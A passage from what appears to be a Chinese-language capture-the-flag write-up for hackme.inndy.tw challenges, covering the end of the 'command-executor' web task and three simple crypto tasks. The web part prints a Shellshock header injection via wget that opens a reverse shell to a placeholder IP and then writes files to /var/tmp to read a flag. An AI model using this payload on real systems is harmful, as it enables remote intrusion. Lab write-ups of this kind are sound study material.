if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}

审计这个c,大致原理就是:1秒之内把他输出的再输入回去,就可以打出文件内容
此时我们的思路很简单,运行这个c,再把这个c输出在1s内再输回去,但是纯靠这样的交互,速度极慢,所以容易想到,要不要拿个shell?
这里给出2种拿shell的思路

1
2
1.反弹shell
2.找到可写目录,并写入文件,利用文件包含即可

这里我选择反弹shell(因为后面还会写文件,所以这里选择反弹,就不写了)

1
wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

然后一会儿就能收到shell

而下面就只要解决如何在1s内输入c文件输出的结果这个问题了
这里我选择了linux下的重定向,我们将输出写到某个文件中,再自动输入即可,这样即可达到目的
我们先去探索可写目录,容易发现/var/tmp具有写权限
我们测试一下

1
wget --header="X-Exploit: () { : ; }; echo 'sky' > /var/tmp/sky" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"


即可发现该目录可写
我的做法:

1
flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag

即可在skyflag中读到flag

Crypto

easy

得到526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d
转16进制
RkxBR3tUaGlzIGlzIGVhc3ksIHJpZ2h0P30=
解码即可得到flag

r u kidding

题目给出
EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}
简单凯撒解密即可获得flag

xor

运行github开源的xortool脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
G:\python2.7\Scripts>python xortool -c 20 xor
The most probable key lengths:
1: 8.6%
3: 10.6%
6: 9.4%
9: 21.8%
12: 7.1%
15: 6.2%
18: 14.1%
27: 9.7%
36: 7.1%
45: 5.4%
Key-length can be 3*n
1 possible key(s) of length 9:
hackmepls
Found 1 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv

得到key:hackmepls
运行脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
f1 = open("xor","rb")
f2 = open("key.txt","rb")
f3 = open("flagtest.txt","wb")
key = f2.read().replace(" ", "")
# key = "47 6F 6F 64 4C 75 63 6B 54 6F 59 6F 75".replace(" ", "").decode("hex")
flag = f1.read()
flag_length = len(flag)
key_length = len(key)
flag_res = ""
for i in range(0,flag_length):
xor_str = chr(ord(flag[i])^ord(key[i%key_length]))
flag_res += xor_str
f3.write(flag_res)
f3.close()

即可在解密后的明文中找到flag

CATALOG
  1. 1. WEB
    1. 1.1. hide and seek
    2. 1.2. guestbook
    3. 1.3. LFI
    4. 1.4. homepage
    5. 1.5. ping
    6. 1.6. scoreboard
    7. 1.7. login as admin 0
    8. 1.8. login as admin 0.1
    9. 1.9. Login as Admin 1
    10. 1.10. login as admin 1.2
    11. 1.11. login as admin 3
    12. 1.12. login as admin 4
    13. 1.13. login as admin 6
    14. 1.14. login as admin 7
    15. 1.15. dafuq-manager 1
    16. 1.16. dafuq-manager 2
    17. 1.17. dafuq-manager 3
    18. 1.18. wordpress 1
    19. 1.19. wordpress 2
    20. 1.20. webshell
    21. 1.21. command-executor
  2. 2. Crypto
    1. 2.1. easy
    2. 2.2. r u kidding
    3. 2.3. xor